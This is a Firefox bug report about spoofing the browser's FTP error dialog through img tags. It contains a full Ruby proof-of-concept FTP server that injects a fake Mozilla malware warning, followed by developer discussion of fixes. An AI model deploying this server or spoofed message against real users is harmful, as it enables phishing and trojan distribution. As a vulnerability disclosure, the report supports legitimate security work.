cross-domain 'alert-style' modal dialog spoof using ftp even from e.g. img requests in web forums or the like

NEW
Unassigned

Status

()

Core
Networking: FTP
P3
normal
2 years ago
10 months ago

People

(Reporter: schattendeatroth, Unassigned)

Tracking

({csectype-spoof, sec-low})

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [necko-backlog])

Attachments

(2 attachments)

(Reporter)

Description

2 years ago
Created attachment 8765453 [details]
exploit.rb

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/50.0.2661.102 Chrome/50.0.2661.102 Safari/537.36

Steps to reproduce:

tested with (system base): windows, linux
tested with (version): mozilla firefox 43.0.2, 47.0

proof of concept:
1. (browser) open a ftp connection using ftp-link on img-tag or anything: <img src='ftp://username:password@server/test.png'>
2. (browser) send wrong login credentials.
3. (server) 
4. (server) break connection by server side and send a fake message.

screenshot: http://fs5.directupload.net/images/160105/u7mlcf54.jpg

test-exploit (ruby):

require 'timeout'
require 'socket'

#---conf---
addr='127.0.0.1' #serverip
port=21 #serverport
$sleeper=0.3 #wait before broke connection
$threads=30 #concurrent connections
$killcom='k1llm3' #kill server by command

$msgbox="ACHTUNG: Diese Website enth\xE4lt Malware!\x0A\x0ASelbst wenn der Besuch dieser Website bisher sicher war,\x0Abesteht nun die Gefahr, dass Sie Ihren Computer mit Malware\x0Ainfizieren\x0A\x0A***Malware ist Schadsoftware, die unter anderem zu\x0AIdentit\xE4tsdiebstahl, finanziellen Verlusten und zum dauerhaften\x0AL\xF6schen von Dateien f\xFChren kann.***\x0A\x0ABITTE VERLASSEN SIE DIESE WEBSITE UMGEHEND!\x0A\x0A*---Ihr Mozilla Firefox-Team"
#----------

$msga="220 Speak friend, and enter\r\n"; $msgb="331 FTP login okay, send password.\r\n"; $server=TCPServer.open(addr, port)

def main(client)
while 1
sleep 0.000001
while client=='x'
sleep 0.000001; client=$server.accept; puts "("+Time.at(Time.now.to_i).to_s+") "+client.peeraddr[3]
end

begin
complete_results=Timeout.timeout(5) do
sleep $sleeper; client.send($msga, 0); linei=0
while line=client.gets
if line==$killcom+"\r\n" or line==$killcom+"\n"
exit
end
sleep 0.000001
client.send($msgb+$msgbox+"\r\n", 0); sleep $sleeper; client.close; client='x'; break
end
end
rescue Timeout::Error
end

end
end

i=1
while i<$threads
Thread.new{main('x')}
i+=1
end

Thread.new{main('x')}.join



Actual results:

screenshot: http://fs5.directupload.net/images/160105/u7mlcf54.jpg

by using this exploit/this way: firefox will not say what kind of error show this message. the user only see a message directly from firefox. attackers can foist this object each where include img-tags or anything like forums, blog-comments, etc...


Expected results:

it's a fine way to spreading trojans and spoofing security messages on friendly websites.

Updated

2 years ago
Group: firefox-core-security → core-security
Status: UNCONFIRMED → NEW
Component: Untriaged → Networking: FTP
Ever confirmed: true
Product: Firefox → Core
Summary: popup/message spoof (using ftp popup's) → cross-domain 'alert-style' modal dialog spoof using ftp even from e.g. img requests in web forums or the like
Reproducible in 50 as well.
Hey look, more fodder for ripping FTP out of the tree!

Jason, care to find someone to take a look at this? (:bagder seems a good candidate, seeing as how he's already played with it a bit!)
Flags: needinfo?(jduell.mcbugs)
Whiteboard: [necko-active]
Group: core-security → network-core-security
Created attachment 8765921 [details] [diff] [review]
0001-bug-1282430-do-not-show-FTP-server-message-in-error-.patch

I suppose what we should discuss is what the correct behavior would be here, and in the mean time I offer this minimal patch that just removes the server's error message from the popup window and puts a generic fixed string there. I realize that is not what we want in a proper fix.

I also think this is an edge case that we might not want to waste a whole lot of time and efforts on...

Comment 4

2 years ago
Could we just never show alerts for child resources / non-document loads? From a quick look at MDN and FTPChannelChild (keeping in mind I'm not actually familiar with netwerk code or our channel/loadgroup infra in too much detail) it seems like we could check whether we're our load group's defaultloadrequest and just do nothing if we're not? Or check if we're fully same origin with the default load request, or something?
Group: network-core-security
Keywords: csectype-spoof, sec-low
Comment on attachment 8765921 [details] [diff] [review]
0001-bug-1282430-do-not-show-FTP-server-message-in-error-.patch

Review of attachment 8765921 [details] [diff] [review]:
-----------------------------------------------------------------

This patch is only e10s, and the bug is reported on non-e10s, so this can't be a complete fix.

I don't want to spend lots of time on a sec-low FTP bug, but my gut says that something like this patch would be good, but for both non/e10s and only for subresources (i.e. not if loadFlags & LOAD_DOCUMENT_URI).

Daniel, if you're interested go ahead and take this bug.  If not, stick it in [necko-backlog]
Flags: needinfo?(jduell.mcbugs) → needinfo?(daniel)
Maybe one step towards deprecating FTP slowly would be to stop accepting it for other things than top level pages?

Anyway, as I'm PTO'ing now for a few weeks ahead I'm backlogging it.
Flags: needinfo?(daniel)
Whiteboard: [necko-active] → [necko-backlog]

Updated

2 years ago
Duplicate of this bug: 1284779
You need to log in before you can comment on or make changes to this bug.